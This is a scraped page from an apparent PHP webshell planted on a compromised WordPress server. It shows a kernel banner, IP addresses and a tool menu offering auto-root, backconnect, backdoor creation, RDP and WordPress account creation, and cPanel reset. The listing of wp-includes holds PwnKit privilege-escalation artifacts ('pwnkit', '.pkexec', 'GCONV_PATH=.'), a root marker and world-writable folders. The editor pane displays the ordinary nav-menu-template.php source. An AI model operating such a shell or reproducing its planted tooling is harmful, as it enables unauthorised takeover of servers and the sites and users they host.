Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.225.57.152
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
public_html /
VISIONSOFT /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.htaccess
420
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
admin-bar.php
30.96
KB
-rw-r--r--
atomlib.php
11.59
KB
-rw-r--r--
author-template.php
16.62
KB
-rw-r--r--
block-patterns.php
1.42
KB
-rw-r--r--
blocks.php
25.76
KB
-rw-r--r--
bookmark-template.php
12.22
KB
-rw-r--r--
bookmark.php
14.79
KB
-rw-r--r--
cache-compat.php
1.02
KB
-rw-r--r--
cache.php
9.28
KB
-rw-r--r--
canonical.php
30.65
KB
-rw-r--r--
capabilities.php
33.98
KB
-rw-r--r--
category-template.php
53.63
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
38.79
KB
-rw-r--r--
class-json.php
42.43
KB
-rw-r--r--
class-oembed.php
407
B
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.35
KB
-rw-r--r--
class-requests.php
29.14
KB
-rw-r--r--
class-simplepie.php
94.01
KB
-rw-r--r--
class-smtp.php
452
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.08
KB
-rw-r--r--
class-walker-category.php
7.69
KB
-rw-r--r--
class-walker-comment.php
13.37
KB
-rw-r--r--
class-walker-nav-menu.php
8.45
KB
-rw-r--r--
class-walker-page-dropdown.php
2.25
KB
-rw-r--r--
class-walker-page.php
6.88
KB
-rw-r--r--
class-wp-admin-bar.php
16.46
KB
-rw-r--r--
class-wp-ajax-response.php
5.12
KB
-rw-r--r--
class-wp-block-list.php
4.37
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-pattern-categor...
4.08
KB
-rw-r--r--
class-wp-block-patterns-regist...
4.74
KB
-rw-r--r--
class-wp-block-styles-registry...
4.62
KB
-rw-r--r--
class-wp-block-type-registry.p...
5.03
KB
-rw-r--r--
class-wp-block-type.php
5.88
KB
-rw-r--r--
class-wp-block.php
5.97
KB
-rw-r--r--
class-wp-comment-query.php
43.58
KB
-rw-r--r--
class-wp-comment.php
8.83
KB
-rw-r--r--
class-wp-customize-control.php
24.91
KB
-rw-r--r--
class-wp-customize-manager.php
196.37
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
55.47
KB
-rw-r--r--
class-wp-customize-panel.php
10.16
KB
-rw-r--r--
class-wp-customize-section.php
10.72
KB
-rw-r--r--
class-wp-customize-setting.php
29.03
KB
-rw-r--r--
class-wp-customize-widgets.php
65.46
KB
-rw-r--r--
class-wp-date-query.php
34.51
KB
-rw-r--r--
class-wp-dependency.php
2.45
KB
-rw-r--r--
class-wp-editor.php
68.93
KB
-rw-r--r--
class-wp-embed.php
15.42
KB
-rw-r--r--
class-wp-error.php
4.84
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.37
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.72
KB
-rw-r--r--
class-wp-http-cookie.php
7.02
KB
-rw-r--r--
class-wp-http-curl.php
12.06
KB
-rw-r--r--
class-wp-http-encoding.php
6.4
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.39
KB
-rw-r--r--
class-wp-http-proxy.php
5.73
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.92
KB
-rw-r--r--
class-wp-http-requests-respons...
4.24
KB
-rw-r--r--
class-wp-http-response.php
2.88
KB
-rw-r--r--
class-wp-http-streams.php
15.73
KB
-rw-r--r--
class-wp-image-editor-gd.php
13.81
KB
-rw-r--r--
class-wp-image-editor-imagick....
23.32
KB
-rw-r--r--
class-wp-image-editor.php
13.77
KB
-rw-r--r--
class-wp-list-util.php
6.46
KB
-rw-r--r--
class-wp-locale-switcher.php
4.9
KB
-rw-r--r--
class-wp-locale.php
13.59
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
27.22
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
17.94
KB
-rw-r--r--
class-wp-network.php
12.09
KB
-rw-r--r--
class-wp-object-cache.php
13.22
KB
-rw-r--r--
class-wp-oembed-controller.php
6.63
KB
-rw-r--r--
class-wp-oembed.php
28.31
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.81
KB
-rw-r--r--
class-wp-post-type.php
19.08
KB
-rw-r--r--
class-wp-post.php
6.29
KB
-rw-r--r--
class-wp-query.php
131.8
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.31
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
9.89
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.17
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.29
KB
-rw-r--r--
class-wp-recovery-mode.php
11.11
KB
-rw-r--r--
class-wp-rewrite.php
59.42
KB
-rw-r--r--
class-wp-role.php
2.44
KB
-rw-r--r--
class-wp-roles.php
8.23
KB
-rw-r--r--
class-wp-session-tokens.php
7.26
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
27.88
KB
-rw-r--r--
class-wp-site.php
7.19
KB
-rw-r--r--
class-wp-tax-query.php
18.98
KB
-rw-r--r--
class-wp-taxonomy.php
12.28
KB
-rw-r--r--
class-wp-term-query.php
35.32
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.48
KB
-rw-r--r--
class-wp-theme.php
50.35
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.62
KB
-rw-r--r--
class-wp-user-request.php
2.14
KB
-rw-r--r--
class-wp-user.php
21.63
KB
-rw-r--r--
class-wp-walker.php
12.42
KB
-rw-r--r--
class-wp-widget-factory.php
2.56
KB
-rw-r--r--
class-wp-widget.php
17.49
KB
-rw-r--r--
class-wp-xmlrpc-server.php
205.52
KB
-rw-r--r--
class-wp.php
24.45
KB
-rw-r--r--
class.wp-dependencies.php
12.57
KB
-rw-r--r--
class.wp-scripts.php
18.04
KB
-rw-r--r--
class.wp-styles.php
10.62
KB
-rw-r--r--
comment-template.php
91.85
KB
-rw-r--r--
comment.php
122.66
KB
-rw-r--r--
compat.php
12.65
KB
-rw-r--r--
cron.php
32.06
KB
-rw-r--r--
date.php
406
B
-rw-r--r--
default-constants.php
10.02
KB
-rw-r--r--
default-filters.php
26.14
KB
-rw-r--r--
default-widgets.php
2.07
KB
-rw-r--r--
deprecated.php
118.65
KB
-rw-r--r--
embed-template.php
341
B
-rw-r--r--
embed.php
46.48
KB
-rw-r--r--
error-protection.php
3.3
KB
-rw-r--r--
error_log
167
B
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rw-r--r--
feed-atom.php
3.03
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
3.97
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.12
KB
-rw-r--r--
formatting.php
304.25
KB
-rw-r--r--
functions.php
228.27
KB
-rw-r--r--
functions.wp-scripts.php
13.07
KB
-rw-r--r--
functions.wp-styles.php
8.11
KB
-rw-r--r--
general-template.php
153.99
KB
-rw-r--r--
http.php
21.86
KB
-rw-r--r--
kses.php
61.88
KB
-rw-r--r--
l10n.php
55.27
KB
-rw-r--r--
link-template.php
141.46
KB
-rw-r--r--
load.php
43.82
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
57.29
KB
-rw-r--r--
media.php
159.3
KB
-rw-r--r--
meta.php
58.17
KB
-rw-r--r--
ms-blogs.php
24.58
KB
-rw-r--r--
ms-default-constants.php
4.6
KB
-rw-r--r--
ms-default-filters.php
6.34
KB
-rw-r--r--
ms-deprecated.php
20.63
KB
-rw-r--r--
ms-files.php
2.58
KB
-rw-r--r--
ms-functions.php
88.26
KB
-rw-r--r--
ms-load.php
19.36
KB
-rw-r--r--
ms-network.php
3.57
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
ms-site.php
42.51
KB
-rw-r--r--
nav-menu-template.php
22.75
KB
-rw-r--r--
nav-menu.php
40.78
KB
-rw-r--r--
option.php
72.65
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
99.86
KB
-rw-r--r--
plugin.php
31.66
KB
-rw-r--r--
post-formats.php
6.91
KB
-rw-r--r--
post-template.php
62.05
KB
-rw-r--r--
post-thumbnail-template.php
9
KB
-rw-r--r--
post.php
245.87
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
34.69
KB
-rw-r--r--
registration-functions.php
202
B
-rw-r--r--
registration.php
202
B
-rw-r--r--
rest-api.php
65.83
KB
-rw-r--r--
revision.php
21.46
KB
-rw-r--r--
rewrite.php
17.65
KB
-rw-r--r--
rss-functions.php
211
B
-rw-r--r--
rss.php
22.44
KB
-rw-r--r--
script-loader.php
89.87
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
21.85
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
443
B
-rw-r--r--
taxonomy.php
158.32
KB
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
21.02
KB
-rw-r--r--
theme.php
120.92
KB
-rw-r--r--
update.php
25.57
KB
-rw-r--r--
user.php
129.65
KB
-rw-r--r--
vars.php
5.68
KB
-rw-r--r--
version.php
767
B
-rw-r--r--
widgets.php
57.75
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.12
KB
-rw-r--r--
wp-diff.php
647
B
-rw-r--r--
wp-feed.php
82
B
-rw-r--r--
wp-tmp.php
9.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nav-menu-template.php
<?php /** * Nav Menu API: Template functions * * @package WordPress * @subpackage Nav_Menus * @since 3.0.0 */ /** Walker_Nav_Menu class */ require_once ABSPATH . WPINC . '/class-walker-nav-menu.php'; /** * Displays a navigation menu. * * @since 3.0.0 * @since 4.7.0 Added the `item_spacing` argument. * @since 5.5.0 Added the `container_aria_label` argument. * * @param array $args { * Optional. Array of nav menu arguments. * * @type int|string|WP_Term $menu Desired menu. Accepts a menu ID, slug, name, or object. * Default empty. * @type string $menu_class CSS class to use for the ul element which forms the menu. * Default 'menu'. * @type string $menu_id The ID that is applied to the ul element which forms the menu. * Default is the menu slug, incremented. * @type string $container Whether to wrap the ul, and what to wrap it with. * Default 'div'. * @type string $container_class Class that is applied to the container. * Default 'menu-{menu slug}-container'. * @type string $container_id The ID that is applied to the container. Default empty. * @type string $container_aria_label The aria-label attribute that is applied to the container * when it's a nav element. Default empty. * @type callable|bool $fallback_cb If the menu doesn't exist, a callback function will fire. * Default is 'wp_page_menu'. Set to false for no fallback. * @type string $before Text before the link markup. Default empty. * @type string $after Text after the link markup. Default empty. * @type string $link_before Text before the link text. Default empty. * @type string $link_after Text after the link text. Default empty. * @type bool $echo Whether to echo the menu or return it. Default true. * @type int $depth How many levels of the hierarchy are to be included. * 0 means all. Default 0. * Default 0. * @type object $walker Instance of a custom walker class. Default empty. * @type string $theme_location Theme location to be used. Must be registered with * register_nav_menu() in order to be selectable by the user. * @type string $items_wrap How the list items should be wrapped. Uses printf() format with * numbered placeholders. Default is a ul with an id and class. * @type string $item_spacing Whether to preserve whitespace within the menu's HTML. * Accepts 'preserve' or 'discard'. Default 'preserve'. * } * @return void|string|false Void if 'echo' argument is true, menu output if 'echo' is false. * False if there are no items or no menu was found. */ function wp_nav_menu( $args = array() ) { static $menu_id_slugs = array(); $defaults = array( 'menu' => '', 'container' => 'div', 'container_class' => '', 'container_id' => '', 'container_aria_label' => '', 'menu_class' => 'menu', 'menu_id' => '', 'echo' => true, 'fallback_cb' => 'wp_page_menu', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => '', 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', 'item_spacing' => 'preserve', 'depth' => 0, 'walker' => '', 'theme_location' => '', ); $args = wp_parse_args( $args, $defaults ); if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) { // Invalid value, fall back to default. $args['item_spacing'] = $defaults['item_spacing']; } /** * Filters the arguments used to display a navigation menu. * * @since 3.0.0 * * @see wp_nav_menu() * * @param array $args Array of wp_nav_menu() arguments. */ $args = apply_filters( 'wp_nav_menu_args', $args ); $args = (object) $args; /** * Filters whether to short-circuit the wp_nav_menu() output. * * Returning a non-null value from the filter will short-circuit wp_nav_menu(), * echoing that value if $args->echo is true, returning that value otherwise. * * @since 3.9.0 * * @see wp_nav_menu() * * @param string|null $output Nav menu output to short-circuit with. Default null. * @param stdClass $args An object containing wp_nav_menu() arguments. */ $nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args ); if ( null !== $nav_menu ) { if ( $args->echo ) { echo $nav_menu; return; } return $nav_menu; } // Get the nav menu based on the requested menu. $menu = wp_get_nav_menu_object( $args->menu ); // Get the nav menu based on the theme_location. $locations = get_nav_menu_locations(); if ( ! $menu && $args->theme_location && $locations && isset( $locations[ $args->theme_location ] ) ) { $menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] ); } // Get the first menu that has items if we still can't find a menu. if ( ! $menu && ! $args->theme_location ) { $menus = wp_get_nav_menus(); foreach ( $menus as $menu_maybe ) { $menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) ); if ( $menu_items ) { $menu = $menu_maybe; break; } } } if ( empty( $args->menu ) ) { $args->menu = $menu; } // If the menu exists, get its items. if ( $menu && ! is_wp_error( $menu ) && ! isset( $menu_items ) ) { $menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) ); } /* * If no menu was found: * - Fall back (if one was specified), or bail. * * If no menu items were found: * - Fall back, but only if no theme location was specified. * - Otherwise, bail. */ if ( ( ! $menu || is_wp_error( $menu ) || ( isset( $menu_items ) && empty( $menu_items ) && ! $args->theme_location ) ) && isset( $args->fallback_cb ) && $args->fallback_cb && is_callable( $args->fallback_cb ) ) { return call_user_func( $args->fallback_cb, (array) $args ); } if ( ! $menu || is_wp_error( $menu ) ) { return false; } $nav_menu = ''; $items = ''; $show_container = false; if ( $args->container ) { /** * Filters the list of HTML tags that are valid for use as menu containers. * * @since 3.0.0 * * @param string[] $tags The acceptable HTML tags for use as menu containers. * Default is array containing 'div' and 'nav'. */ $allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) ); if ( is_string( $args->container ) && in_array( $args->container, $allowed_tags, true ) ) { $show_container = true; $class = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-' . $menu->slug . '-container"'; $id = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : ''; $aria_label = ( 'nav' === $args->container && $args->container_aria_label ) ? ' aria-label="' . esc_attr( $args->container_aria_label ) . '"' : ''; $nav_menu .= '<' . $args->container . $id . $class . $aria_label . '>'; } } // Set up the $menu_item variables. _wp_menu_item_classes_by_context( $menu_items ); $sorted_menu_items = array(); $menu_items_with_children = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; if ( $menu_item->menu_item_parent ) { $menu_items_with_children[ $menu_item->menu_item_parent ] = true; } } // Add the menu-item-has-children class where applicable. if ( $menu_items_with_children ) { foreach ( $sorted_menu_items as &$menu_item ) { if ( isset( $menu_items_with_children[ $menu_item->ID ] ) ) { $menu_item->classes[] = 'menu-item-has-children'; } } } unset( $menu_items, $menu_item ); /** * Filters the sorted list of menu item objects before generating the menu's HTML. * * @since 3.1.0 * * @param array $sorted_menu_items The menu items, sorted by each menu item's menu order. * @param stdClass $args An object containing wp_nav_menu() arguments. */ $sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args ); $items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args ); unset( $sorted_menu_items ); // Attributes. if ( ! empty( $args->menu_id ) ) { $wrap_id = $args->menu_id; } else { $wrap_id = 'menu-' . $menu->slug; while ( in_array( $wrap_id, $menu_id_slugs, true ) ) { if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) ) { $wrap_id = preg_replace( '#-(\d+)$#', '-' . ++$matches[1], $wrap_id ); } else { $wrap_id = $wrap_id . '-1'; } } } $menu_id_slugs[] = $wrap_id; $wrap_class = $args->menu_class ? $args->menu_class : ''; /** * Filters the HTML list content for navigation menus. * * @since 3.0.0 * * @see wp_nav_menu() * * @param string $items The HTML list content for the menu items. * @param stdClass $args An object containing wp_nav_menu() arguments. */ $items = apply_filters( 'wp_nav_menu_items', $items, $args ); /** * Filters the HTML list content for a specific navigation menu. * * @since 3.0.0 * * @see wp_nav_menu() * * @param string $items The HTML list content for the menu items. * @param stdClass $args An object containing wp_nav_menu() arguments. */ $items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args ); // Don't print any markup if there are no items at this point. if ( empty( $items ) ) { return false; } $nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items ); unset( $items ); if ( $show_container ) { $nav_menu .= '</' . $args->container . '>'; } /** * Filters the HTML content for navigation menus. * * @since 3.0.0 * * @see wp_nav_menu() * * @param string $nav_menu The HTML content for the navigation menu. * @param stdClass $args An object containing wp_nav_menu() arguments. */ $nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args ); if ( $args->echo ) { echo $nav_menu; } else { return $nav_menu; } } /** * Adds the class property classes for the current context, if applicable. * * @access private * @since 3.0.0 * * @global WP_Query $wp_query WordPress Query object. * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param array $menu_items The current menu item objects to which to add the class property information. */ function _wp_menu_item_classes_by_context( &$menu_items ) { global $wp_query, $wp_rewrite; $queried_object = $wp_query->get_queried_object(); $queried_object_id = (int) $wp_query->queried_object_id; $active_object = ''; $active_ancestor_item_ids = array(); $active_parent_item_ids = array(); $active_parent_object_ids = array(); $possible_taxonomy_ancestors = array(); $possible_object_parents = array(); $home_page_id = (int) get_option( 'page_for_posts' ); if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) { foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) { if ( is_taxonomy_hierarchical( $taxonomy ) ) { $term_hierarchy = _get_term_hierarchy( $taxonomy ); $terms = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) ); if ( is_array( $terms ) ) { $possible_object_parents = array_merge( $possible_object_parents, $terms ); $term_to_ancestor = array(); foreach ( (array) $term_hierarchy as $anc => $descs ) { foreach ( (array) $descs as $desc ) { $term_to_ancestor[ $desc ] = $anc; } } foreach ( $terms as $desc ) { do { $possible_taxonomy_ancestors[ $taxonomy ][] = $desc; if ( isset( $term_to_ancestor[ $desc ] ) ) { $_desc = $term_to_ancestor[ $desc ]; unset( $term_to_ancestor[ $desc ] ); $desc = $_desc; } else { $desc = 0; } } while ( ! empty( $desc ) ); } } } } } elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) { $term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy ); $term_to_ancestor = array(); foreach ( (array) $term_hierarchy as $anc => $descs ) { foreach ( (array) $descs as $desc ) { $term_to_ancestor[ $desc ] = $anc; } } $desc = $queried_object->term_id; do { $possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc; if ( isset( $term_to_ancestor[ $desc ] ) ) { $_desc = $term_to_ancestor[ $desc ]; unset( $term_to_ancestor[ $desc ] ); $desc = $_desc; } else { $desc = 0; } } while ( ! empty( $desc ) ); } $possible_object_parents = array_filter( $possible_object_parents ); $front_page_url = home_url(); $front_page_id = (int) get_option( 'page_on_front' ); $privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); foreach ( (array) $menu_items as $key => $menu_item ) { $menu_items[ $key ]->current = false; $classes = (array) $menu_item->classes; $classes[] = 'menu-item'; $classes[] = 'menu-item-type-' . $menu_item->type; $classes[] = 'menu-item-object-' . $menu_item->object; // This menu item is set as the 'Front Page'. if ( 'post_type' === $menu_item->type && $front_page_id === (int) $menu_item->object_id ) { $classes[] = 'menu-item-home'; } // This menu item is set as the 'Privacy Policy Page'. if ( 'post_type' === $menu_item->type && $privacy_policy_page_id === (int) $menu_item->object_id ) { $classes[] = 'menu-item-privacy-policy'; } // If the menu item corresponds to a taxonomy term for the currently queried non-hierarchical post object. if ( $wp_query->is_singular && 'taxonomy' === $menu_item->type && in_array( (int) $menu_item->object_id, $possible_object_parents, true ) ) { $active_parent_object_ids[] = (int) $menu_item->object_id; $active_parent_item_ids[] = (int) $menu_item->db_id; $active_object = $queried_object->post_type; // If the menu item corresponds to the currently queried post or taxonomy object. } elseif ( $menu_item->object_id == $queried_object_id && ( ( ! empty( $home_page_id ) && 'post_type' === $menu_item->type && $wp_query->is_home && $home_page_id == $menu_item->object_id ) || ( 'post_type' === $menu_item->type && $wp_query->is_singular ) || ( 'taxonomy' === $menu_item->type && ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax ) && $queried_object->taxonomy == $menu_item->object ) ) ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; $_anc_id = (int) $menu_item->db_id; while ( ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) ) { $active_ancestor_item_ids[] = $_anc_id; } if ( 'post_type' === $menu_item->type && 'page' === $menu_item->object ) { // Back compat classes for pages to match wp_page_menu(). $classes[] = 'page_item'; $classes[] = 'page-item-' . $menu_item->object_id; $classes[] = 'current_page_item'; } $active_parent_item_ids[] = (int) $menu_item->menu_item_parent; $active_parent_object_ids[] = (int) $menu_item->post_parent; $active_object = $menu_item->object; // If the menu item corresponds to the currently queried post type archive. } elseif ( 'post_type_archive' === $menu_item->type && is_post_type_archive( array( $menu_item->object ) ) ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; $_anc_id = (int) $menu_item->db_id; while ( ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) ) { $active_ancestor_item_ids[] = $_anc_id; } $active_parent_item_ids[] = (int) $menu_item->menu_item_parent; // If the menu item corresponds to the currently requested URL. } elseif ( 'custom' === $menu_item->object && isset( $_SERVER['HTTP_HOST'] ) ) { $_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] ); // If it's the customize page then it will strip the query var off the URL before entering the comparison block. if ( is_customize_preview() ) { $_root_relative_current = strtok( untrailingslashit( $_SERVER['REQUEST_URI'] ), '?' ); } $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current ); $raw_item_url = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url; $item_url = set_url_scheme( untrailingslashit( $raw_item_url ) ); $_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) ); $matches = array( $current_url, urldecode( $current_url ), $_indexless_current, urldecode( $_indexless_current ), $_root_relative_current, urldecode( $_root_relative_current ), ); if ( $raw_item_url && in_array( $item_url, $matches, true ) ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; $_anc_id = (int) $menu_item->db_id; while ( ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) ) { $active_ancestor_item_ids[] = $_anc_id; } if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ), true ) ) { // Back compat for home link to match wp_page_menu(). $classes[] = 'current_page_item'; } $active_parent_item_ids[] = (int) $menu_item->menu_item_parent; $active_parent_object_ids[] = (int) $menu_item->post_parent; $active_object = $menu_item->object; // Give front page item the 'current-menu-item' class when extra query arguments are involved. } elseif ( $item_url == $front_page_url && is_front_page() ) { $classes[] = 'current-menu-item'; } if ( untrailingslashit( $item_url ) == home_url() ) { $classes[] = 'menu-item-home'; } } // Back-compat with wp_page_menu(): add "current_page_parent" to static home page link for any non-page query. if ( ! empty( $home_page_id ) && 'post_type' === $menu_item->type && empty( $wp_query->is_page ) && $home_page_id == $menu_item->object_id ) { $classes[] = 'current_page_parent'; } $menu_items[ $key ]->classes = array_unique( $classes ); } $active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) ); $active_parent_item_ids = array_filter( array_unique( $active_parent_item_ids ) ); $active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) ); // Set parent's class. foreach ( (array) $menu_items as $key => $parent_item ) { $classes = (array) $parent_item->classes; $menu_items[ $key ]->current_item_ancestor = false; $menu_items[ $key ]->current_item_parent = false; if ( isset( $parent_item->type ) && ( // Ancestral post object. ( 'post_type' === $parent_item->type && ! empty( $queried_object->post_type ) && is_post_type_hierarchical( $queried_object->post_type ) && in_array( (int) $parent_item->object_id, $queried_object->ancestors, true ) && $parent_item->object != $queried_object->ID ) || // Ancestral term. ( 'taxonomy' === $parent_item->type && isset( $possible_taxonomy_ancestors[ $parent_item->object ] ) && in_array( (int) $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ], true ) && ( ! isset( $queried_object->term_id ) || $parent_item->object_id != $queried_object->term_id ) ) ) ) { if ( ! empty( $queried_object->taxonomy ) ) { $classes[] = 'current-' . $queried_object->taxonomy . '-ancestor'; } else { $classes[] = 'current-' . $queried_object->post_type . '-ancestor'; } } if ( in_array( (int) $parent_item->db_id, $active_ancestor_item_ids, true ) ) { $classes[] = 'current-menu-ancestor'; $menu_items[ $key ]->current_item_ancestor = true; } if ( in_array( (int) $parent_item->db_id, $active_parent_item_ids, true ) ) { $classes[] = 'current-menu-parent'; $menu_items[ $key ]->current_item_parent = true; } if ( in_array( (int) $parent_item->object_id, $active_parent_object_ids, true ) ) { $classes[] = 'current-' . $active_object . '-parent'; } if ( 'post_type' === $parent_item->type && 'page' === $parent_item->object ) { // Back compat classes for pages to match wp_page_menu(). if ( in_array( 'current-menu-parent', $classes, true ) ) { $classes[] = 'current_page_parent'; } if ( in_array( 'current-menu-ancestor', $classes, true ) ) { $classes[] = 'current_page_ancestor'; } } $menu_items[ $key ]->classes = array_unique( $classes ); } } /** * Retrieves the HTML list content for nav menu items. * * @uses Walker_Nav_Menu to create HTML list content. * @since 3.0.0 * * @param array $items The menu items, sorted by each menu item's menu order. * @param int $depth Depth of the item in reference to parents. * @param stdClass $r An object containing wp_nav_menu() arguments. * @return string The HTML list content for the menu items. */ function walk_nav_menu_tree( $items, $depth, $r ) { $walker = ( empty( $r->walker ) ) ? new Walker_Nav_Menu : $r->walker; return $walker->walk( $items, $depth, $r ); } /** * Prevents a menu item ID from being used more than once. * * @since 3.0.1 * @access private * * @param string $id * @param object $item * @return string */ function _nav_menu_item_id_use_once( $id, $item ) { static $_used_ids = array(); if ( in_array( $item->ID, $_used_ids, true ) ) { return ''; } $_used_ids[] = $item->ID; return $id; }
Close